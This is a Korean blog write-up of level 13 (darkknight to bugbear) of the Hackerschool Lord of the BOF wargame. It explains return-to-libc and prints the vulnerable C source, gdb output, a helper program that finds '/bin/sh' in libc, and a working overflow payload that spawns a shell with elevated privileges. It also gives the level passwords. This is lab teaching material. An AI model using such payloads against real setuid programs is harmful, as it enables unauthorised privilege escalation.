[해커스쿨 LOB] Level13: Darkknight >> Bugbear

두비니

·

2020. 7. 31. 21:03

 

 

 

 

 


Level 13. Darkknight >> Bugbear

Theme: RTL


 

 

 

로그인

id : darkknight
pw : new attacker

 

 

 

bash2&코드확인

[darkknight@localhost darkknight]$ bash2
[darkknight@localhost darkknight]$ nl bugbear.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - bugbear
     4          - RTL1
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  main(int argc, char *argv[])
     9  {
    10          char buffer[40];
    11          int i;

    12          if(argc < 2){
    13                  printf("argv error\n");
    14                  exit(0);
    15          }

    16          if(argv[1][47] == '\xbf')
    17          {
    18                  printf("stack betrayed you!!\n");
    19                  exit(0);
    20          }

    21          strcpy(buffer, argv[1]);
    22          printf("%s\n", buffer);
    23  }

 

제한조건

 

1. 매개변수 최소 1개 입력

2. argv[1]의 48번째 바이트는 \xbf일 수 없음 (stack betrayed you!!) *new!*

 

 

자 이번에는 여태껏 열심히 사용했던 스택영역의 주소들을 전혀 사용할 수가 없네요. (보통 스택영역의 주소가 모두 0xbf로 시작합니다.)

 

자 그러면 어떻게 해야하냐?

이번에는 코드에도 쓰여져있듯, RTL을 사용해야합니다.

RTL은 Return To Libc의 줄임말로, ret를 원하는 함수로 덮어 실행시키는 공격기법입니다.

여기서부터 진짜 포너블이라고 할 수 있죠ㅎㅎ

RTL은 RTL chaining이라고해서 여러번 엮어쓰는 기법도있고, ROP라는 스택영역 exploit 끝판왕을 이해하는데도 기반이 되는 친구입니다. 당연히 미리 공부를 할 필요가 있겠죠?

 

참고: https://d4m0n.tistory.com/79

 

RTL (Return-to-libc)

RTL(Return-to-libc)이란? RTL(Return-to-libc) 공격은 리눅스의 메모리 보호 기법 중 하나인 NX bit를 우회하기 위해 사용되는 공격 기법이다. NX bit는 Stack Segment의 Execute 권한을 제한함으로써, Stack에..

d4m0n.tistory.com

 

 

 

그래서 RTL을 설명하자면, 여태껏 스택영역에 system("/bin/sh")를 실행해주는 쉘코드를 직접 삽입해서 사용했다면, 이제는 그냥 system("/bin/sh")를 직접 실행시켜버리는 방법입니다. 물론 system함수뿐만아니라 다른 함수들도 당연히 호출이 가능하며, 보통 system이나 exec* 함수를 사용합니다.

 

 

아무튼 바로 페이로드를 작성해봅시다.

 

`python -c 'print "A"*44 + (system함수 주소) + "BBBB" + ("/bin/sh"의 주소)'`

 

 

자 여기서 system함수 주소 뒤에 바로 "/bin/sh"의 주소를 넣지 않고 dummy 4바이트를 넣는 이유는 그 뒤에 4바이트가 system함수를 호출 한 뒤에 실행할 함수의 주소를 쓰는 칸입니다. 이걸 이용한걸 아까전에도 잠시 언급한 RTL chaining기법이라고 하고요. 아무튼 지금은 system함수만 불러오면 끝나니 dummy값으로 채우겠습니다.

 

바로  필요한 거 구해봅시다.

 

1. system함수의 주소

우선 system함수의 주소를 구해야겠죠?

[darkknight@localhost darkknight]$ gdb -q bugbeal
(gdb) b * main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/darkknight/bugbeal

Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

 

함수의 주소는 다음과 같이 프로그램을 실행시켜놓은 후 p (함수명) 하면 저렇게 바로 함수주소를 알려줍니다. 나중에는 심볼을 숨겨놔서 찾을 수 없는 안타까운 상황도 발생하는데 일단 일어나지 않은 불미스러움에 대해서는 미리 걱정하지 맙시다.

 

2. "/bin/sh"의 주소

 

system함수를 불러와도, 권한을 얻는 명령어를 보내야 권한을 얻을 수 있겠죠?

"/bin/sh"의 주소를 구해야 하는데, 이걸 구하는 방법은 여러가지가 있습니다.

다음에 한번 정리해서 쓰는걸로 하고, 오늘은 그냥 코드를 통해서 구하는걸로 할게요.

 

 

[darkknight@localhost darkknight]$ cat getaddr.c
#include <stdio.h>
#include <string.h>

int main(){
        long system = 0x40058ae0;
        while (memcmp((void*)system, "/bin/sh\x00", 8)){
                system++;
        }
        printf("/bin/sh: %x\n", system);

        return 0;

}

 

이걸가지고 구해봅시다.

[darkknight@localhost darkknight]$ gcc -o getaddr getaddr.c
[darkknight@localhost darkknight]$ ls
bugbeal  bugbear  bugbear.c  getaddr  getaddr.c
[darkknight@localhost darkknight]$ ./getaddr
/bin/sh: 400fbff9

 

/bin/sh 문자열의 주소는 0x400fbff9네요. 이제 exploit을 해봅시다!

 

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "\x90"*44 + "\xe0\x8a\x05\x40" + "\x90"*4 + "\xf9\xbf\x0f\x40"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒@▒▒▒▒▒@
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide

 

기법 자체만 이해했으면 RTL 한번만쓰면 풀리는거라 쉽습니다.

다음!